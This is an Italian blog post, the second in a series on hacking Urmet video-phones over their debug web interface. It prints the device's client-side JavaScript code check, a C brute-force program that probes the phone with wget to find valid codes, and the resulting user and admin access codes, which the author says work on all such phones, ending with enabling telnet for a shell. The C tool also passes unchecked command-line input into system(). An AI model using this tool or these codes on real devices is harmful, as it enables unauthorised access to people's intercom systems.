PiumaLab

Idee, esperimenti, tentativi e molto altro

Hacking dei videotelefoni (2)

apriamo il browser all'indirizzo http://192.168.1.2:8080/ e vedremmo una pagina di login molto scarna, probabilmente l'interfaccia web e` stata fatta per il debug e usata solo dagli addetti ai lavori (e da noi!!)

Viene visualizzata una pagina con un un tastierino numerico su cui dovremmo inserire un codice per avere l'accesso

A prima vista non mi da l'impressione di essere il massimo della sicurezza.

Come funziona

Dando un occhiata ai sorgenti riusciamo a capire che ogni volta che premiamo un bottone con una cifra viene invocata la funzione JavaScript Enter_code()

var usermulcode = 24
var code = 0
var mul = 1
var digit = 0
var fails = 0
 
function Enter_code(number) {
    code = code * 10 + number
    mul = mul * number
    document.codepad.thecode.value = code
    digit++
 
    if (digit == 8) {
        if (mul == 40320) {
            location = code + ".html"
        }
        if (mul == 11907) {
            location = "Admin" + code + ".html"
        }
        else {
            fails++
            code = 0
            mul = 1
            digit = 0
            if (fails < 3) {
                if (fails == 1) {
                    document.codepad.thecode.value = "Try again"
                }
                if (fails == 2) {
                    document.codepad.thecode.value = "Last Time"
                }
            }
            else {
                location = "http://www.urmet.it"
                document.codepad.thecode.value = "Bye!"
            }
        }
    }
}

Osservando il codice riusciamo a farci un idea del funzionamento. Abbiamo 3 tentativi dopodiche` verremmo rediretti sul sito della Urmet. Il codice da inserire e` lungo 8 cifre, possiamo accedere con due codici, uno ci da l'accesso di amministratore ed un'altro da utente normale. La url che viene aperta inserendo il codice corretto e` formata dal codice stesso quindi se non conosciamo il codice non sappiamo quale sia. Applicando una funzione matematica sulle sue cifre del codice da` come risultato 40320 per l'accesso come utente e 11907 come amministratore.

Come entrare

Un'altra cosa che possiamo capire dal JavaScript e` che il calcolo del codice considera le cifre digitate sul tastierino ma non l'ordine in cui vengono digitate quindi esistono piu` codici che permettono di accedere ma solo uno e` quello giusto, con tutti gli altri il server ci rispondera` con un errore 404 (page not found.)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int user_access, admin_access, n_digits;
char ip[256], *sCode;
 
int finded_user = 0, finded_admin = 0;
 
long calcola_mul(int *digits) {
  int i, code = 0;
  long mul = 1;
 
  for (i = 0; i < n_digits; i++) {
    code = code * 10 + digits[i];
    mul = mul * digits[i];
  }
 
  return mul;
}
 
void stampav(int *digits) {
  int i;
  for (i = 0; i < n_digits; i++)
    printf("%d ", digits[i]);
  printf("n");
}
 
char *stampaCode(int *digits) {
  int i;
  for (i = 0; i < n_digits; i++)
    sCode[i] = digits[i] + '0';
 
  return sCode;
}
 
void backtrack(int *v, int i) {
  long mul;
  int c;
  char cmd[256];
 
  if (i >= n_digits) {
    /* fine della ricorsione */
    mul = calcola_mul(v);
    if (finded_user == 0 && mul == user_access) {
      sprintf(cmd, "wget -q -O - http://%s/%s.html > /dev/null",
              ip, stampaCode(v));
      if (system(cmd) == 0) {
        printf("User access code: ");
        stampav(v);
        finded_user = 1;
      }
      return;
    }
 
    if (finded_admin == 0 && mul == admin_access) {
      sprintf(cmd, "wget -q -O - http://%s/Admin%s.html > /dev/null",
              ip, stampaCode(v));
      if (system(cmd) == 0) {
        printf("Admin access code: ");
        stampav(v);
        finded_admin = 1;
      }
      return;
    }
    return;
  }
 
  for (c = 1; c <= 9; c++) {
    if (finded_admin && finded_user)
      return;
    v[i] = c;
    backtrack(v, i + 1);
  }
}
 
int main(int argc, char *argv[]) {
  int *digits;
 
  if (argc != 4 && argc != 5) {
    printf("Usage: %s <ip[:port]> <number_digits> <user_code> [<admin_code>]n",
           argv[0]);
    return 1;
  }
 
  strcpy(ip, argv[1]);
  n_digits = atoi(argv[2]);
  user_access = atoi(argv[3]);
 
  if (argc == 5)
    admin_access = atoi(argv[4]);
  else
    finded_admin = 1;
 
  digits = (int *)malloc(n_digits * sizeof(int));
  sCode = (char *)malloc(n_digits * sizeof(char));
 
  backtrack(digits, 0);
 
  free(digits);
  free(sCode);
  return 0;
}

Dopo averlo compilato possiamo lanciarlo e il programma stamperà i codici di accesso a video.
$ ./access 192.168.1.2:8080 8 40320 11907
User access code: 1 2 3 4 5 6 7 8
Admin access code: 1 9 7 1 1 3 9 7

I telefoni dovrebbero essere tutti uguali quindi questi codici dovrebbero permettere l'accesso a tutti quanti. Ho provato anche un altro telefono con una versione del software differente, in quel caso le cifre del codice erano 10 anziché 8 ed esisteva solo l'utente amministratore, in quel caso il codice era 1 9 7 1 1 3 9 7 2 7.

Siamo dentro

Ora possiamo variare la configurazione del telefono a nostro piacimento.
Dall'interfaccia web clicchiamo sul bottone "System Information" e poi ancora su "Optional Net Services", in questo modo sul telefono verrà avviato un server telnet a cui possiamo collegarci semplicemente con il comando
telnet 192.168.1.2 23 ottenendo una bellissima shell.

Buon divertimento.

Leave a Reply

Your email address will not be published. Required fields are marked *